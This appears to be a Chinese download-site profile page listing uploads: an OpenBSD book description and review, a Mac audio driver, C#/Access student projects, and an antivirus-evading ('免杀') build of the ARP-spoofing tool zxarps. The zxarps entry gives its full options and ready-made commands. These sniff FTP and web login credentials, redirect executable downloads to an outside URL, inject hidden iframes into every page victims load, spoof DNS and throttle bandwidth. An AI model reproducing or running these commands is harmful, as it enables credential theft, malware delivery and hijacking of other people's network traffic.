自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(0)
  • 资源 (5)
  • 收藏
  • 关注

空空如也

No.Starch.Absolute.OpenBSD.2nd.Edition.Apr.2013

Absolute OpenBSD: UNIX for the Practical Paranoid By Michael W. Lucas 2013 | 536 Pages | ISBN: 1593274769 | EPUB + PDF | 4 MB + 11 MB The definitive guide to OpenBSD Foreword by Henning Brauer, OpenBSD PF Developer OpenBSD, the elegant, highly secure Unix-like operating system, is widely used as the basis for critical DNS servers, routers, firewalls, and more. This long-awaited second edition of Absolute OpenBSD maintains author Michael Lucas's trademark straightforward and practical approach that readers have enjoyed for years. You'll learn the intricacies of the platform, the technical details behind certain design decisions, and best practices, with bits of humor sprinkled throughout. This edition has been completely updated for OpenBSD 5.3, including new coverage of OpenBSD's boot system, security features like W^X and ProPolice, and advanced networking techniques. You'll learn how to: Manage network traffic with VLANs, trunks, IPv6, and the PF packet filter Make software management quick and effective using the ports and packages system Give users only the access they need with groups, sudo, and chroots Configure OpenBSD's secure implementations of SNMP, DHCP, NTP, hardware sensors, and more Customize the installation and upgrade processes for your network and hardware, or build a custom OpenBSD release Whether you're a new user looking for a complete introduction to OpenBSD or an experienced sysadmin looking for a refresher, Absolute OpenBSD, 2nd Edition will give you everything you need to master the intricacies of the world's most secure operating system. "The definitive book on OpenBSD gets a long-overdue refresh." -Theo de Raadt, OpenBSD Founder ============================================== Book review: Absolute OpenBSD (Second Edition) Absolute OpenBSD OpenBSD 5.3 came out at the beginning of May, right on schedule. The latest version of the security-oriented operating system brought several improvements to the table, including better driver and processor support, bug fixes and security enhancements. All in all it looked like a positive and conservative step for the OpenBSD project. This is all great news for users of the operating system as the OpenBSD crowd tends to appreciate quiet, evolutionary steps. While great for the users and administrators who run OpenBSD, "driver improvements and security enhancements" doesn't make for exciting reviews as not a whole lot of changes have happened on the surface since we looked at OpenBSD last year. With that in mind, rather than focus on the latest release of OpenBSD, I'd like to share a resource which will help people who have an interest in OpenBSD get better acquainted with the operating system. Specifically, I'd like to share with you a book written by Michael W. Lucas called "Absolute OpenBSD". There are two aspects of Mr Lucas' book which set it apart from most other instructive texts and, for that matter, from the other books I've reviewed here in the past. The first is Lucas has a sense of humour and that makes what would otherwise be a dry look at the nuts and bolts of an open source operating system a surprisingly fun journey. On the topic of system upgrades Lucas writes, "Sever upgrades can make even seasoned sysadmins wish that they had a simpler job, such as performing as a carnival sideshow, stuffing weasels into their trousers." On another page he points out that OpenBSD will allow you to set up any program to act as a window manager, "You can also enter a command that isn't a window manager, such as grep. If you do, OpenBSD will silently log you out. It won't say, `Please step away from the keyboard before I hurt you.' Not threatening you passes for user-friendly in OpenBSD." In both cases his jokes are funny because they come loaded with more than a kernel of truth. The second characteristic of Lucas' book I greatly appreciated was that it doesn't really try to be a how-to text. In the past I've shared books I've enjoyed which talk about how to use the Ubuntu desktop or how to trouble-shoot a server or how to use the command line. Those books tend to take things one step at a time and walk us through processes. "Absolute OpenBSD" doesn't really come across as a how-to-use-this-technology book. While it does include tutorials and plenty of advice on how to administer OpenBSD, I didn't really get the feeling we were being shown how to use the operating system. Rather I believe Lucas was primarily concerned with showing us how OpenBSD works, how the pieces fit together. Last month I reviewed a book called "A Practical Guide to Linux Commands, Editors and Shell Programming" and we might think of that text as an instruction manual which teaches us how to drive a car, how to fill the gas tank and change the tyres. All very useful things to know how to do. "Absolute OpenBSD" does cover filling the gas tank and changing the tyres, but it spends a good deal of time under the hood. The chapters in "Absolute OpenBSD" cover things like how the engine works, what a spark plug is, why a battery goes dead and why we should never lick said battery. (In this example licking a battery is a direct parallel to reconfiguring the OpenBSD kernel.) Lucas is aware OpenBSD is a highly flexible operating system and the tasks we may perform with it are not necessarily the same ones he performs. Therefore he sets about explaining how all the pieces fit together, how the system works, what its key features are and he sprinkles in a good deal of advice about how to avoid common pitfalls. Actually, one of the first things Lucas does is acknowledge his book can't cover everything and we will need to seek outside help eventually. The first chapter is dedicated to introducing OpenBSD resources, documentation, mailing lists and other places where we can seek assistance. After that we get into some more hands-on material such as how to install OpenBSD, how to partition our hard drives and checking to make sure our hardware is supported. There are chapters on securing the operating system, managing the OpenBSD firewall, performing upgrades and adjusting kernel-level settings. These are the more practical aspects of the book. Thrown into the mix are chapters containing more abstract information. For example, one chapter is dedicated to explaining the purpose and contents of every configuration file under the /etc directory. We're told how the system boots itself and which files are checked and in what order. We're told about different styles of attacks (and attackers) and how to protect ourselves. We're told how user accounts and account security features work and how to best handle sudo. There is a chapter on dealing with X and a section dedicated to what OpenSSH does and how we can make the most of secure shell, including a tutorial on locking down users' remote access. We're told about the OpenBSD ports tree, not just how to use it, but how ports work and why the ports tree has certain features. Lucas covers how to perform scheduled tasks and, more importantly, what sort of tasks we might wish to automate. In a lot of ways reading "Absolute OpenBSD" reminds me of conversations I've had while sitting around a table with other IT people, trading little snippets of advice and horror stories. The book focuses less on the steps required to perform tasks and more on why we should (or should not) perform those tasks. It's less about guiding us down a single path and more of a crash course in (digital) jungle survival. "These are the plants you need to be able to recognize -- these ones are poison, those ones you can eat," the book seems to say. "These are the tools you should take with you and here is how to get the most out of your pocket knife." While the material is specifically focused on OpenBSD, a good deal of the concepts and advice are relevant to users of any UNIX or UNIX-like operating system. The instructions on using pkg_add to keep software up to date may be specific to OpenBSD, but scheduling package updates is universal. Using inetd to limit network connections from the outside world may be specific to a subset of UNIX-like systems, but limiting the flow of connections in general is important for any server admin. That's what I like about "Absolute OpenBSD", it covers the why at least as much as the how and that makes it a great instruction manual for any system administrator, not just OpenBSD admins. I certainly recommend the book for administrators, especially people interested in OpenBSD. Even if you don't read the entire text, be sure to check out the author's tips and asides that are featured on almost every page, they are heavy with wisdom from the trenches. Title: Absolute OpenBSD (Second Edition) Author: Michael W. Lucas © 2013 Publisher: No Starch Press ISBN: 1-59327-476-9 Length: 536 pages

2013-07-26

Mac声音驱动 EnsoniqAudioPCI.mpkg

实现发声(文件名:EnsoniqAudioPCI.mpkg.tar.gz) 如果安装完后还是没有声音。请重复最后一步。再安装一次声卡驱动即可。

2012-09-13

zxarps免杀版

zxarps免杀版 -idx [index] 网卡索引号 -ip [ip] 欺骗的IP,用'-'指定范围,','隔开 -sethost [ip] 默认是网关,可以指定别的IP -port [port] 关注的端口,用'-'指定范围,','隔开,没指定默认关注所有端口 -reset 恢复目标机的ARP表 -hostname 探测主机时获取主机名信息 -logfilter [string]设置保存数据的条件,必须+-_做前缀,后跟关键字, ','隔开关键字,多个条件'|'隔开 所有带+前缀的关键字都出现的包则写入文件 带-前缀的关键字出现的包不写入文件 带_前缀的关键字一个符合则写入文件(如有+-条件也要符合) -save_a [filename] 将捕捉到的数据写入文件 ACSII模式 -save_h [filename] HEX模式 -hacksite [ip] 指定要插入代码的站点域名或IP, 多个可用','隔开,没指定则影响所有站点 -insert [html code]指定要插入html代码 -postfix [string] 关注的后缀名,只关注HTTP/1.1 302 -hackURL [url] 发现关注的后缀名后修改URL到新的URL -filename [name] 新URL上有效的资源文件名 -hackdns [string] DNS欺骗,只修改UDP的报文,多个可用','隔开 格式: 域名|IP,www.aa.com|222.22.2.2,www.bb.com|1.1.1.1 -Interval [ms] 定时欺骗的时间间隔,默认是3秒 -spoofmode [1|2|3] 将数据骗发到本机,欺骗对象:1为网关,2为目标机,3为两者 -speed [kb] 限制指定的IP或IP段的网络总带宽,单位:KB example: 嗅探指定的IP段中端口80的数据,并以HEX模式写入文件 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80 -save_h sniff.log FTP嗅探,在21或2121端口中出现USER或PASS的数据包记录到文件 zxarps.exe -idx 0 -ip 192.168.0.2 -port 21,2121 -spoofmode 2 -logfilter "_USER ,_PASS" -save_a sniff.log HTTP web邮箱登陆或一些论坛登陆的嗅探,根据情况自行改关键字 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80 -logfilter "+POST ,+user,+pass" -save_a sniff.log 用|添加嗅探条件,这样FTP和HTTP的一些敏感关键字可以一起嗅探 zxarps.exe -idx 0 -ip 192.168.0.2 -port 80,21 -logfilter "+POST ,+user,+pass|_USER ,_PASS" -save_a sniff.log 如果嗅探到目标下载文件后缀是exe等则更改Location:为http://xx.net/test.exe zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.12,192.168.0.20-192.168.0.30 -spoofmode 3 -postfix ".exe,.rar,.zip" -hackurl http://xx.net/ -filename test.exe 指定的IP段中的用户访问到-hacksite中的网址则只显示just for fun zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -hacksite 222.2.2.2,www.a.com,www.b.com -insert "just for fun<noframes>" 指定的IP段中的用户访问的所有网站都插入一个框架代码 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -insert "<8))e src='xx' width=0 height=0>" 指定的两个IP的总带宽限制到20KB zxarps.exe -idx 0 -ip 192.168.0.55,192.168.0.66 -speed 20 DNS欺骗 zxarps.exe -idx 0 -ip 192.168.0.55,192.168.0.66 -hackdns "www.aa.com|222.22.2.2,www.bb.com|1.1.1.1"

2012-05-11

高校机房管理系统C#与access实现排课值班

C#与access混合编程,让你更轻松的了解Csharp和access 适合C#与access初学者,机房管理实现排课,值班,提醒,等多项功能

2011-06-28

C#access学籍管理系统

C#与access混合编程轻松掌握access数据库与C#连接,更改,查询

2011-05-29

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除